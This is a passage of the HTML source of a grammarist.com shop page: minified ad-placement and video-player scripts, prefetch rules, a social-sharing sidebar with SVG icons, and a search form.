this._usedAbsoluteMinimum=r.usedAbsoluteMinimum,r.insertEvery}_logDensityInfo(e,t,n){let{onePerViewport:r,targetDensity:i,targetDensityUnits:a,combinedMax:o}=this._pubLog;this._totalAvailableElements.length}_checkElementSpacing({dynamicAd:e,element:t,insertEvery:n,targetAll:r,target:i}){(this._isFirstAdInjected()||this._hasProperSpacing(t,e,r,n))&&this._markSpotForContentAd(t,{...e},i)}_isFirstAdInjected(){return!this._adInjectionMap.map.length}_markSpotForContentAd(e,t,n=document){let r=t.position===`beforebegin`||t.position===`afterbegin`;this._adInjectionMap.addSorted(e,this._getElementCoords(e,r),t,n)}_hasProperSpacing(t,n,r,i){let a=n.position===`beforebegin`||n.position===`afterbegin`,o=n.position===`beforeend`||n.position===`afterbegin`,s=r||this._isElementFarEnoughFromOtherAdElements(t,i,a),c=o||this._isElementNotInRow(t,a),l=t.id.indexOf(`AdThrive_${e.Below_Post}`)===-1;return s&&c&&l}_isElementFarEnoughFromOtherAdElements(e,t,n){let r=this._getElementCoords(e,n),[i,a]=this._adInjectionMap.findNeighborIndices(r),o=i===null?void 0:this._adInjectionMap.map[i].coords,s=a===null?void 0:this._adInjectionMap.map[a].coords;return(o===void 0||r-t>o)&&(s===void 0||r+t<s)}_isElementNotInRow(e,t){let n=e.previousElementSibling,r=e.nextElementSibling,i=t?!n&&r||n&&e.tagName!==n.tagName?r:n:r;if(!i)return!0;let a=e.getBoundingClientRect();if(a.height===0)return!0;let o=i.getBoundingClientRect();return a.top!==o.top}_calculateMainContentHeightAndAllElements(e,t=document){let[n,r]=Ve(e,this._adInjectionMap,t);if(!n)throw Error(`No main content element found`);this._mainContentDiv=n,this._totalAvailableElements=r,this._mainContentHeight=He(this._mainContentDiv)}_captureDensityElementCoords(){this._densityElementCoords=this._totalAvailableElements.reduce((e,{element:t})=>(e.set(t,{bottom:this._getLiveElementCoords(t),top:this._getLiveElementCoords(t,!0)}),e),new WeakMap)}_capturePreSlotInsertionMainContentMeasurement(){window.adthriveCLS&&(window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.mainContentHeight=this._mainContentHeight:window.adthriveCLS.preSlotInsertionMeasurements={mainContentHeight:this._mainContentHeight})}_capturePreSlotInsertionPageAreaMeasurement(){if(window.adthriveCLS){let e=Ue()*We();window.adthriveCLS.preSlotInsertionMeasurements?window.adthriveCLS.preSlotInsertionMeasurements.totalPageArea=e:window.adthriveCLS.preSlotInsertionMeasurements={totalPageArea:e}}}_getElementCoords(e,t=!1){var n;let r=(n=this._densityElementCoords)==null?void 0:n.get(e);return r?t?r.top:r.bottom:this._getLiveElementCoords(e,t)}_getLiveElementCoords(e,t=!1){let n=e.getBoundingClientRect();return(t?n.top:n.bottom)+window.scrollY}_addContentAd(e,t,n=document){var r;let i=null,a=L(t),o=Oe(t),s=this._clsOptions.siteAds.adOptions.stickyContainerConfig,c=s==null||(r=s.content)==null?void 0:r.enabled,l=c?`adthrive-sticky-container`:``,u=this.addAd(e,this.getDynamicElementId(t),t.position,[l,a,o,...t.classNames]);if(u){let e=we(t,u);if(e.length){var d;(!c||!(!(s==null||(d=s.content)==null)&&d.minHeight))&&(u.style.minHeight=this.locationToMinHeight[t.location]),i={clsDynamicAd:t,dynamicAd:t,element:u,sizes:e,name:`${t.location}_${t.sequence}`,infinite:n!==document}}}return i}getDynamicElementId(e){return`AdThrive_${e.location}_${e.sequence}_${this._device}`}getElements(e,t=document,n){let r=j(e,t);return r.valid,r.elements}_getDynamicAdSelectorContext(e){return{location:e.location,sequence:e.sequence,name:e.name}}_logInvalidBlockedSelector(e,t){}addAd(e,t,n,r=[],i=``){if(!document.getElementById(t)){let a=`<div id="${t}" class="adthrive-ad ${r.join(` `)}"></div>`;i&&(a=`<div class="${i}">${a}</div>`),e.insertAdjacentHTML(n,a)}return document.getElementById(t)}_repeatDynamicAds(t){let n=[],r=t.location===e.Recipe?99:this.locationMaxLazySequence.get(t.location),i=t.lazy?k(r,0):0,a=t.max,o=t.lazyMax,s=i===0&&t.lazy?a+o:Math.min(Math.max(i-t.sequence+1,0),a+o),c=Math.max(a,s);for(let e=0;e<c;e++){let r=Number(t.sequence)+e,i=t.lazy&&e>=a,o=r;t.name===`Recipe_1`&&r>=5&&(o=r+1),n.push({...t,sequence:o,lazy:i})}return n}_locationEnabled(e){let t=this._clsOptions.enabledLocations.includes(e.location),n=this._clsOptions.disableAds&&this._clsOptions.disableAds.all||document.body.classList.contains(`adthrive-disable-all`),r=!document.body.classList.contains(`adthrive-disable-content`)&&!this._clsOptions.disableAds.reasons.has(`content_plugin`);return t&&!n&&r}},Mt=class{constructor(){s(this,`_map`,[])}add(e,t,n,r=document){this._map.push({el:e,coords:t,dynamicAd:n,target:r})}addSorted(e,t,n,r=document){let i=this._upperBoundIndex(t);this._map.splice(i,0,{el:e,coords:t,dynamicAd:n,target:r})}get map(){return this._map}sort(){this._map.sort(({coords:e},{coords:t})=>e-t)}filterUsed(){this._map=this._map.filter(({dynamicAd:e})=>!e.used)}findNeighborIndices(e){let t=this._upperBoundIndex(e);return[t-1>=0?t-1:null,t<this._map.length?t:null]}_upperBoundIndex(e){let t=0,n=this._map.length;for(;t<n;){let r=t+n>>>1;this._map[r].coords<=e?t=r+1:n=r}return t}reset(){this._map=[]}},Nt=class extends Mt{};let Pt=e=>{let t=ne(),n=T(),r=e.siteAdsProfiles,i=null;if(r&&r.length)for(let e of r){let r=e.targeting.device,a=e.targeting.browserEngine,o=r&&r.length&&r.includes(n),s=a&&a.length&&a.includes(t);o&&s&&(i=e)}return i},Ft=e=>{let t=Pt(e);if(t){let e=t.profileId;document.body.classList.add(`raptive-profile-${e}`)}},$={Video_Collapse_Autoplay_SoundOff:`Video_Collapse_Autoplay_SoundOff`,Video_Indiv
1932idual_Autoplay_SOff:`Video_Individual_Autoplay_SOff`,Video_Coll_SOff_Smartphone:`Video_Coll_SOff_Smartphone`,Video_In_Post_ClicktoPlay_SoundOn:`Video_In-Post_ClicktoPlay_SoundOn`,Video_Collapse_Autoplay_SoundOff_15s:`Video_Collapse_Autoplay_SoundOff_15s`,Video_Individual_Autoplay_SOff_15s:`Video_Individual_Autoplay_SOff_15s`,Video_Coll_SOff_Smartphone_15s:`Video_Coll_SOff_Smartphone_15s`,Video_In_Post_ClicktoPlay_SoundOn_15s:`Video_In-Post_ClicktoPlay_SoundOn_15s`};var It=class{get enabled(){throw Error(`Enablement must be defined at factory creation time.`)}};let Lt=(e=navigator.userAgent)=>E(e)===`desktop`;var Rt=class extends It{constructor(e,t,n){super(),this._videoConfig=e,this._component=t,this._context=n,s(this,`_potentialPlayerMap`,void 0),s(this,`_device`,void 0),s(this,`_stickyRelatedOnPage`,!1),s(this,`_relatedMediaIds`,[]),this._device=Lt()?`desktop`:`mobile`,this._potentialPlayerMap=this.setPotentialPlayersMap()}setPotentialPlayersMap(){let e=this._videoConfig.players||[],t=this._filterPlayerMap();return t.stationaryRelated=this._getPotentialStationaryPlayers(e,t.stationaryRelated),this._potentialPlayerMap=t,this._potentialPlayerMap}_getPotentialStationaryPlayers(e,t){let n=new Set(t);return e.forEach(e=>e.type===`stationaryRelated`&&e.enabled&&n.add(e)),[...n]}_filterPlayerMap(){let e=this._videoConfig.players,t={stickyRelated:[],stickyPlaylist:[],stationaryRelated:[]};return e&&e.length?e.filter(e=>{var t;return(t=e.devices)==null?void 0:t.includes(this._device)}).reduce((e,t)=>{if(e[t.type]||(F.event(this._component,`constructor`,`Unknown Video Player Type detected`,t.type),e[t.type]=[]),t.enabled){let n=t.type;this._videoConfig.shouldDisableStickyRelated&&t.type===`stickyRelated`&&(n=`stationaryRelated`),e[n].push(t)}return e},t):t}_checkPlayerSelectorOnPage(e){for(let t of this._potentialPlayerMap[e]){let e=this._getPlacementElement(t);if(e)return{player:t,playerElement:e}}return{player:null,playerElement:null}}_getOverrideElement(e,t,n){if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}else{let{player:e,playerElement:t}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);if(e&&t){let r=document.createElement(`div`);t.insertAdjacentElement(e.position,r),n=r}}return n}_shouldOverrideElement(e){let t=e.getAttribute(`override-embed`);return t===`true`||t===`false`?t===`true`:this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.overrideEmbedLocation:!1}_checkPageSelector(e,t,n=[]){return e&&t&&n.length===0?(window.location.pathname!==`/`&&F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`PSNF: ${e} does not exist on the page`}),!1):!0}_getElementSelector(e,t,n){return t&&t.length>n?t[n]:(F.event(`VideoUtils`,`getPlacementElement`,{name:`Error`,message:`ESNF: ${e} does not exist on the page`}),null)}_getPlacementElement(e){let{pageSelector:t,elementSelector:n,skip:r}=e,{valid:i,elements:a,...o}=P(t),{valid:s,elements:c,...l}=N(n);return t!==``&&!i?(F.error(`VideoUtils`,`getPlacementElement`,Error(`${t} is not a valid selector`),o),null):s?this._checkPageSelector(t,i,a)&&this._getElementSelector(n,c,r)||null:(F.error(`VideoUtils`,`getPlacementElement`,Error(`${n} is not a valid selector`),l),null)}_getEmbeddedPlayerType(e){if(this._videoConfig.shouldDisableStickyRelated)return`static`;let t=e.getAttribute(`data-player-type`);return(!t||t==="default")&&(t=this._videoConfig.relatedSettings?this._videoConfig.relatedSettings.defaultPlayerType:`static`),this._stickyRelatedOnPage&&(t=`static`),t}_getMediaId(e){let t=e.getAttribute(`data-video-id`);return t?(this._relatedMediaIds.push(t),t):!1}_getOrientation(e){return e.getAttribute(`orientation`)===`vertical`?`vertical`:`horizontal`}_createRelatedPlayer(e,t,n,r,i){t===`collapse`?this._createCollapsePlayer(e,n):t===`static`&&this._createStaticPlayer(e,n,r,i)}_createCollapsePlayer(e,t){let{player:n,playerElement:r}=this._checkPlayerSelectorOnPage(`stickyRelated`),i=n||this._potentialPlayerMap.stationaryRelated[0];i&&i.playerId&&!this._videoConfig.shouldDisableStickyRelated?(this._shouldOverrideElement(t)&&(t=this._getOverrideElement(n,r,t)),t=document.querySelector(`#cls-v
1932ideo-container-${e} > div`)||t,this._createStickyRelatedPlayer({...i,mediaId:e},t)):F.error(this._component,`_createCollapsePlayer`,`No video player found`)}_createStaticPlayer(e,t,n,r){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId){let i=this._potentialPlayerMap.stationaryRelated[0];this._createStationaryRelatedPlayer({...i,mediaOrPlaylistId:e,orientation:r},t,n)}else F.error(this._component,`_createStaticPlayer`,`No video player found`)}_shouldRunAutoplayPlayers(){return!!(this._isVideoAllowedOnPage()&&(this._potentialPlayerMap.stickyRelated.length||this._potentialPlayerMap.stickyPlaylist.length))}_setPlaylistMediaIdWhenStationaryOnPage(e,t){if(this._potentialPlayerMap.stationaryRelated.length&&this._potentialPlayerMap.stationaryRelated[0].playerId&&e&&e.length){let n=e[0].getAttribute(`data-video-id`);return n?{...t,mediaId:n}:t}return t}_determineAutoplayPlayers(e){let t=this._component,n=t===`VideoManagerComponent`,r=this._context;if(this._stickyRelatedOnPage){F.event(t,`stickyRelatedOnPage`,n&&{device:r&&r.device,isDesktop:this._device}||{});return}let{playerElement:i}=this._checkPlayerSelectorOnPage(`stickyPlaylist`),{player:a}=this._checkPlayerSelectorOnPage(`stickyPlaylist`);a&&a.playerId&&i?(a=this._setPlaylistMediaIdWhenStationaryOnPage(e,a),this._createPlaylistPlayer(a,i)):Math.random()<.01&&setTimeout(()=>{F.event(t,`noStickyPlaylist`,n&&{vendor:`none`,device:r&&r.device,isDesktop:this._device}||{})},1e3)}_initializeRelatedPlayers(e){let t=new Map;for(let n=0;n<e.length;n++){let r=e[n],i=r.offsetParent,a=this._getEmbeddedPlayerType(r),o=this._getMediaId(r),s=this._getOrientation(r);if(i&&o){let e=(t.get(o)||0)+1;t.set(o,e),this._createRelatedPlayer(o,a,r,e,s)}}}},zt=class extends Rt{constructor(e,t){super(e,`ClsVideoInsertion`),this._videoConfig=e,this._clsOptions=t,s(this,`_IN_POST_SELECTOR`,`.adthrive-video-player`),s(this,`_WRAPPER_BAR_HEIGHT`,36),s(this,`_playersAddedFromPlugin`,[]),t.removeVideoTitleWrapper&&(this._WRAPPER_BAR_HEIGHT=0)}init(){this._initializePlayers()}_wrapVideoPlayerWithCLS(e,t,n=0,r=`horizontal`){if(e.parentNode){let i=e.offsetWidth,a=r===`vertical`;a&&this._device===`desktop`&&(i*=.5);let o=i*(a?16/9:9/16),s=this._createGenericCLSWrapper(o,t,n);return e.parentNode.insertBefore(s,e),s.appendChild(e),s}return null}_createGenericCLSWrapper(e,t,n){let r=document.createElement(`div`);return r.id=`cls-video-container-${t}`,r.className=`adthrive`,r.style.minHeight=`${e+n}px`,r}_getTitleHeight(){let e=document.createElement(`h3`);e.style.margin=`10px 0`,e.innerText=`Title`,e.style.visibility=`hidden`,document.body.appendChild(e);let t=window.getComputedStyle(e),n=parseInt(t.height,10),r=parseInt(t.marginTop,10),i=parseInt(t.marginBottom,10);return document.body.removeChild(e),Math.min(n+i+r,50)}_initializePlayers(){let e=document.querySelectorAll(this._IN_POST_SELECTOR);e.length&&this._initializeRelatedPlayers(e),this._shouldRunAutoplayPlayers()&&this._determineAutoplayPlayers(e)}_createStationaryRelatedPlayer(e,t,n){let r=this._device===`mobile`?[400,225]:[640,360],i=$.Video_In_Post_ClicktoPlay_SoundOn;if(t&&e.mediaOrPlaylistId){let a=`${e.mediaOrPlaylistId}_${n}`,o=this._wrapVideoPlayerWithCLS(t,a,0,e.orientation);this._playersAddedFromPlugin.push(e.mediaOrPlaylistId),o&&this._clsOptions.setInjectedVideoSlots({playerId:e.playerId,playerName:i,playerSize:r,element:o,type:`stationaryRelated`})}}_createStickyRelatedPlayer(e,t){if(this._videoConfig.shouldDisableStickyRelated)return;let n=this._device===`mobile`?[400,225]:[640,360],r=$.Video_Individual_Autoplay_SOff;if(this._stickyRelatedOnPage=!0,this._videoConfig.mobileStickyPlayerOnPage=this._device===`mobile`,this._videoConfig.collapsiblePlayerOnPage=!0,t&&e.position&&e.mediaId){let i=document.createElement(`div`);t.insertAdjacentElement(e.position,i);let a=this._getTitleHeight(),o=this._wrapVideoPlayerWithCLS(i,e.mediaId,this._WRAPPER_BAR_HEIGHT+a);this._playersAddedFromPlugin.push(e.mediaId),o&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:n,playerName:r,element:i,type:`stickyRelated`})}}_createPlaylistPlayer(e,t){let n=e.playlistId,r=this._device===`mobile`?$.Video_Coll_SOff_Smartphone:$.Video_Collapse_Autoplay_SoundOff,i=this._device===`mobile`?[400,225]:[640,360];this._videoConfig.mobileStickyPlayerOnPage=!0,this._videoConfig.collapsiblePlayerOnPage=!0;let a=document.createElement(`div`);t.insertAdjacentElement(e.position,a);let o=this._WRAPPER_BAR_HEIGHT;e.title&&(o+=this._getTitleHeight());let s=this._wrapVideoPlayerWithCLS(a,n,o);this._playersAddedFromPlugin.push(`playlist-${n}`),s&&this._clsOptions.setInjectedVideoSlots({playlistId:e.playlistId,playerId:e.playerId,playerSize:i,playerName:r,element:a,type:`stickyPlaylist`})}_isVideoAllowedOnPage(){let e=this._clsOptions.disableAds;if(e&&e.video){let t=``;e.reasons.has(`video_plugin`)?t=`video plugin`:e.reasons.has(`video_page`)&&(t=`command queue`);let n=t?`ClsVideoInsertionMigrated`:`ClsVideoInsertion`;return F.error(n,`isVideoAllowedOnPage`,Error(`DBP: Disabled by publisher via ${t||`other`}`)),!1}return!this._clsOptions.videoDisabledFromPlugin}};try{(()=>{let e=new c;
1932!e||!e.enabled||(e.siteAds&&Ft(e.siteAds),new jt(e,new Nt).start(),new zt(new fe(e),e).init())})()}catch(e){F.error(`CLS`,`pluginsertion-iife`,e),window.adthriveCLS&&(window.adthriveCLS.injectedFromPlugin=!1)}})();</script>
1932<script data-no-optimize="1" data-cfasync="false">(function () {var clsElements = document.querySelectorAll("script[id^='cls-']"); window.adthriveCLS && clsElements && clsElements.length === 0 ? window.adthriveCLS.injectedFromPlugin = false : ""; })();</script>
1932<script type="speculationrules">
1933{"prefetch":[{"source":"document","where":{"and":[{"href_matches":"/*"},{"not":{"href_matches":["/wp-*.php","/wp-admin/*","/wp-content/uploads/*","/wp-content/*","/wp-content/plugins/*","/wp-content/themes/generatepress_child/*","/wp-content/themes/generatepress/*","/*\\?(.+)"]}},{"not":{"selector_matches":"a[rel~=\"nofollow\"]"}},{"not":{"selector_matches":".no-prefetch, .no-prefetch a"}}]},"eagerness":"conservative"}]}
1934</script>
1934
1935<div id="mv-grow-data" data-settings="{&quot;floatingSidebar&quot;:{&quot;stopSelector&quot;:false},&quot;general&quot;:{&quot;contentSelector&quot;:false,&quot;show_count&quot;:{&quot;content&quot;:false,&quot;sidebar&quot;:false,&quot;pop_up&quot;:false,&quot;sticky_bar&quot;:false},&quot;isTrellis&quot;:false},&quot;post&quot;:null,&quot;shareCounts&quot;:{&quot;facebook&quot;:0,&quot;pinterest&quot;:0,&quot;reddit&quot;:0,&quot;twitter&quot;:0},&quot;shouldRun&quot;:true,&quot;buttonSVG&quot;:{&quot;share&quot;:{&quot;height&quot;:32,&quot;width&quot;:26,&quot;paths&quot;:[&quot;M20.8 20.8q1.984 0 3.392 1.376t1.408 3.424q0 1.984-1.408 3.392t-3.392 1.408-3.392-1.408-1.408-3.392q0-0.192 0.032-0.448t0.032-0.384l-8.32-4.992q-1.344 1.024-2.944 1.024-1.984 0-3.392-1.408t-1.408-3.392 1.408-3.392 3.392-1.408q1.728 0 2.944 0.96l8.32-4.992q0-0.128-0.032-0.384t-0.032-0.384q0-1.984 1.408-3.392t3.392-1.408 3.392 1.376 1.408 3.424q0 1.984-1.408 3.392t-3.392 1.408q-1.664 0-2.88-1.024l-8.384 4.992q0.064 0.256 0.064 0.832 0 0.512-0.064 0.768l8.384 4.992q1.152-0.96 2.88-0.96z&quot;]},&quot;pinterest&quot;:{&quot;height&quot;:32,&quot;width&quot;:23,&quot;paths&quot;:[&quot;M0 10.656q0-1.92 0.672-3.616t1.856-2.976 2.72-2.208 3.296-1.408 3.616-0.448q2.816 0 5.248 1.184t3.936 3.456 1.504 5.12q0 1.728-0.32 3.36t-1.088 3.168-1.792 2.656-2.56 1.856-3.392 0.672q-1.216 0-2.4-0.576t-1.728-1.568q-0.16 0.704-0.48 2.016t-0.448 1.696-0.352 1.28-0.48 1.248-0.544 1.12-0.832 1.408-1.12 1.536l-0.224 0.096-0.16-0.192q-0.288-2.816-0.288-3.36 0-1.632 0.384-3.68t1.184-5.152 0.928-3.616q-0.576-1.152-0.576-3.008 0-1.504 0.928-2.784t2.368-1.312q1.088 0 1.696 0.736t0.608 1.824q0 1.184-0.768 3.392t-0.8 3.36q0 1.12 0.8 1.856t1.952 0.736q0.992 0 1.824-0.448t1.408-1.216 0.992-1.696 0.672-1.952 0.352-1.984 0.128-1.792q0-3.072-1.952-4.8t-5.12-1.728q-3.552 0-5.952 2.304t-2.4 5.856q0 0.8 0.224 1.536t0.48 1.152 0.48 0.832 0.224 0.544q0 0.48-0.256 1.28t-0.672 0.8q-0.032 0-0.288-0.032-0.928-0.288-1.632-0.992t-1.088-1.696-0.576-1.92-0.192-1.92z&quot;]},&quot;facebook&quot;:{&quot;height&quot;:32,&quot;width&quot;:18,&quot;paths&quot;:[&quot;M17.12 0.224v4.704h-2.784q-1.536 0-2.080 0.64t-0.544 1.92v3.392h5.248l-0.704 5.28h-4.544v13.568h-5.472v-13.568h-4.544v-5.28h4.544v-3.904q0-3.328 1.856-5.152t4.96-1.824q2.624 0 4.064 0.224z&quot;]},&quot;flipboard&quot;:{&quot;height&quot;:32,&quot;width&quot;:32,&quot;paths&quot;:[&quot;M0 0h10.272v32h-10.272v-32zM11.328 11.328h10.4v10.4h-10.4v-10.4zM11.328 0h20.672v10.272h-20.672v-10.272z&quot;]},&quot;twitter&quot;:{&quot;height&quot;:30,&quot;width&quot;:32,&quot;paths&quot;:[&quot;M30.3 29.7L18.5 12.4l0 0L29.2 0h-3.6l-8.7 10.1L10 0H0.6l11.1 16.1l0 0L0 29.7h3.6l9.7-11.2L21 29.7H30.3z M8.6 2.7 L25.2 27h-2.8L5.7 2.7H8.6z&quot;]},&quot;email&quot;:{&quot;height&quot;:32,&quot;width&quot;:28,&quot;paths&quot;:[&quot;M18.56 17.408l8.256 8.544h-25.248l8.288-8.448 4.32 4.064zM2.016 6.048h24.32l-12.16 11.584zM20.128 15.936l8.224-7.744v16.256zM0 24.448v-16.256l8.288 7.776z&quot;]}},&quot;
1935utmParams&quot;:[],&quot;pinterest&quot;:{&quot;pinDescriptionSource&quot;:&quot;post_pinterest_description&quot;,&quot;pinDescription&quot;:null,&quot;pinTitle&quot;:null,&quot;pinImageURL&quot;:null,&quot;pinnableImages&quot;:&quot;post_images&quot;,&quot;postImageHidden&quot;:&quot;yes&quot;,&quot;postImageHiddenMultiple&quot;:&quot;yes&quot;,&quot;lazyLoadCompatibility&quot;:null,&quot;buttonPosition&quot;:&quot;top-left&quot;,&quot;buttonShape&quot;:&quot;rectangular&quot;,&quot;showButtonLabel&quot;:&quot;yes&quot;,&quot;buttonLabelText&quot;:&quot;Save&quot;,&quot;buttonShareBehavior&quot;:&quot;post_image&quot;,&quot;hoverButtonShareBehavior&quot;:&quot;post_image&quot;,&quot;minimumImageWidth&quot;:&quot;&quot;,&quot;minimumImageHeight&quot;:&quot;&quot;,&quot;showImageOverlay&quot;:&quot;yes&quot;,&quot;postTypeDisplay&quot;:[&quot;post&quot;,&quot;page&quot;],&quot;imagePinIt&quot;:&quot;1&quot;,&quot;hasContent&quot;:&quot;1&quot;,&quot;shareURL&quot;:&quot;https:\/\/grammarist.com\/store\/&quot;,&quot;
1935bypassClasses&quot;:[&quot;mv-grow-bypass&quot;,&quot;no_pin&quot;],&quot;bypassDenyClasses&quot;:[&quot;dpsp-post-pinterest-image-hidden-inner&quot;,&quot;mv-create-pinterest&quot;],&quot;ignoreSelectors&quot;:[],&quot;hoverButtonIgnoreClasses&quot;:[&quot;lazyloaded&quot;,&quot;lazyload&quot;,&quot;td-animation-stack&quot;,&quot;ezlazyloaded&quot;,&quot;penci-lazy&quot;,&quot;ut-lazy&quot;,&quot;ut-image-loaded&quot;,&quot;ut-animated-image&quot;],&quot;disableIframes&quot;:null}}"></div><aside id="dpsp-floating-sidebar" aria-label="social sharing sidebar" class="dpsp-shape-circle dpsp-size-small dpsp-bottom-spacing  dpsp-hide-on-mobile dpsp-position-left dpsp-button-style-1 dpsp-animation-2" data-trigger-scroll="1">
1936	<ul class="dpsp-networks-btns-wrapper dpsp-networks-btns-share dpsp-networks-btns-sidebar  dpsp-has-button-icon-animation">
1937<li class="dpsp-network-list-item dpsp-network-list-item-facebook">
1938	<a rel="nofollow noopener" href="https://www.facebook.com/sharer/sharer.php?u=https%3A%2F%2Fgrammarist.com%2Fstore%2F&amp;t=Shop" class="dpsp-network-btn dpsp-facebook dpsp-no-label dpsp-first" target="_blank" aria-label="Share on Facebook" title="Share on Facebook">	<span class="dpsp-network-icon ">
1939		<span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 18 32"><path d="M17.12 0.224v4.704h-2.784q-1.536 0-2.080 0.64t-0.544 1.92v3.392h5.248l-0.704 5.28h-4.544v13.568h-5.472v-13.568h-4.544v-5.28h4.544v-3.904q0-3.328 1.856-5.152t4.96-1.824q2.624 0 4.064 0.224z"></path></svg></span>
1940	</span>
1941	</a></li>
1942
1943<li class="dpsp-network-list-item dpsp-network-list-item-flipboard">
1944	<a rel="nofollow noopener" href="https://share.flipboard.com/bookmarklet/popout?v=2&amp;url=https%3A%2F%2Fgrammarist.com%2Fstore%2F&amp;title=Shop" class="dpsp-network-btn dpsp-flipboard dpsp-no-label" target="_blank" aria-label="Share on Flipboard" title="Share on Flipboard">	<span class="dpsp-network-icon ">
1945		<span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 32 32"><path d="M0 0h10.272v32h-10.272v-32zM11.328 11.328h10.4v10.4h-10.4v-10.4zM11.328 0h20.672v10.272h-20.672v-10.272z"></path></svg></span>
1946	</span>
1947	</a></li>
1948
1949<li class="dpsp-network-list-item dpsp-network-list-item-x">
1950	<a rel="nofollow noopener" href="https://x.com/intent/tweet?text=Shop&amp;url=https%3A%2F%2Fgrammarist.com%2Fstore%2F" class="dpsp-network-btn dpsp-x dpsp-no-label" target="_blank" aria-label="Share on X" title="Share on X">	<span class="dpsp-network-icon ">
1951		<span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 32 30"><path d="M30.3 29.7L18.5 12.4l0 0L29.2 0h-3.6l-8.7 10.1L10 0H0.6l11.1 16.1l0 0L0 29.7h3.6l9.7-11.2L21 29.7H30.3z M8.6 2.7 L25.2 27h-2.8L5.7 2.7H8.6z"></path></svg></span>
1952	</span>
1953	</a></li>
1954
1955<li class="dpsp-network-list-item dpsp-network-list-item-linkedin">
1956	<a rel="nofollow noopener" href="https://www.linkedin.com/shareArticle?url=https%3A%2F%2Fgrammarist.com%2Fstore%2F&amp;title=Shop&amp;summary=Best%20Selling%20Course%3A%20Breakthrough%20Copyediting%20and%20Proofreading%20Profit%20from%20Precision%3A%20Enhance%20your%20editing%20skills%20and%20discover%20how%20to%20earn%20with%20every%20meticulous%20edit.%20Start%20your%20profitable%20editing%20journey%20now%21%20Learn%20More%20No%20products%20found.&amp;mini=true" class="dpsp-network-btn dpsp-linkedin dpsp-no-label" target="_blank" aria-label="Share on LinkedIn" title="Share on LinkedIn">	<span class="dpsp-network-icon ">
1957		<span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 27 32"><path d="M6.24 11.168v17.696h-5.888v-17.696h5.888zM6.624 5.696q0 1.312-0.928 2.176t-2.4 0.864h-0.032q-1.472 0-2.368-0.864t-0.896-2.176 0.928-2.176 2.4-0.864 2.368 0.864 0.928 2.176zM27.424 18.72v10.144h-5.856v-9.472q0-1.888-0.736-2.944t-2.272-1.056q-1.12 0-1.856 0.608t-1.152 1.536q-0.192 0.544-0.192 1.44v9.888h-5.888q0.032-7.136 0.032-11.552t0-5.28l-0.032-0.864h5.888v2.56h-0.032q0.352-0.576 0.736-0.992t0.992-0.928 1.568-0.768 2.048-0.288q3.040 0 4.896 2.016t1.856 5.952z"></path></svg></span>
1958	</span>
1959	</a></li>
1960
1961<li class="dpsp-network-list-item dpsp-network-list-item-email">
1962	<a rel="nofollow noopener" href="/cdn-cgi/l/email-protection#78470b0d1a121d1b0c452b1017085e191508431a171c0145100c0c080b5d4b395d4a3e5d4a3e1f0a191515190a110b0c561b17155d4a3e0b0c170a1d5d4a3e" class="dpsp-network-btn dpsp-email dpsp-no-label dpsp-last" target="_blank" aria-label="Send over email" title="Send over email">	<span class="dpsp-network-icon ">
1963		<span class="dpsp-network-icon-inner"><svg version="1.1" xmlns="http://www.w3.org/2000/svg" width="32" height="32" viewbox="0 0 28 32"><path d="M18.56 17.408l8.256 8.544h-25.248l8.288-8.448 4.32 4.064zM2.016 6.048h24.32l-12.16 11.584zM20.128 15.936l8.224-7.744v16.256zM0 24.448v-16.256l8.288 7.776z"></path></svg></span>
1964	</span>
1965	</a></li>
1966</ul></aside>
vendor: 109 bytes, lines 1966-1967
1966
1967<script data-cfasync="false" src="/cdn-cgi/scripts/5c5dd728/cloudflare-static/email-decode.min.js"></script>
1967<script type="text/rocketlazyloadscript" id="generate-a11y">
1968!function(){"use strict";if("querySelector"in document&&"addEventListener"in window){var e=document.body;e.addEventListener("pointerdown",(function(){e.classList.add("using-mouse")}),{passive:!0}),e.addEventListener("keydown",(function(){e.classList.remove("using-mouse")}),{passive:!0})}}();
1969</script>
1969
1970	<div  class="gp-modal gp-search-modal" id="gp-search" role="dialog" aria-modal="true" aria-label="Search">
1971		<div  class="gp-modal__overlay" tabindex="-1" data-gpmodal-close>
1972			<div  class="gp-modal__container">
1973					<form role="search" method="get" class="search-modal-form" action="https://grammarist.com/">
1974		<label for="search-modal-input" class="screen-reader-text">Search for:</label>
1975		<div class="search-modal-fields">
1976			<input id="search-modal-input" type="search" class="search-field" placeholder="Search &hellip;" value="" name="s" />
1977			<button aria-label="Search"><span class="gp-icon icon-search"><svg viewBox="0 0 512 512" aria-hidden="true" xmlns="http://www.w3.org/2000/svg" width="1em" height="1em"><path fill-rule="evenodd" clip-rule="evenodd" d="M208 48c-88.366 0-160 71.634-160 160s71.634 160 160 160 160-71.634 160-160S296.366 48 208 48zM0 208C0 93.125 93.125 0 208 0s208 93.125 208 208c0 48.741-16.765 93.566-44.843 129.024l133.826 134.018c9.366 9.379 9.355 24.575-.025 33.941-9.379 9.366-24.575 9.355-33.941-.025L337.238 370.987C301.747 399.167 256.839 416 208 416 93.125 416 0 322.875 0 208z" /></svg></span></button>
1978		</div>
1979			</form>
1980				</div>
1981		</div>
1982	</div>
1983	
1983<script id="wp-importmap" type="importmap">
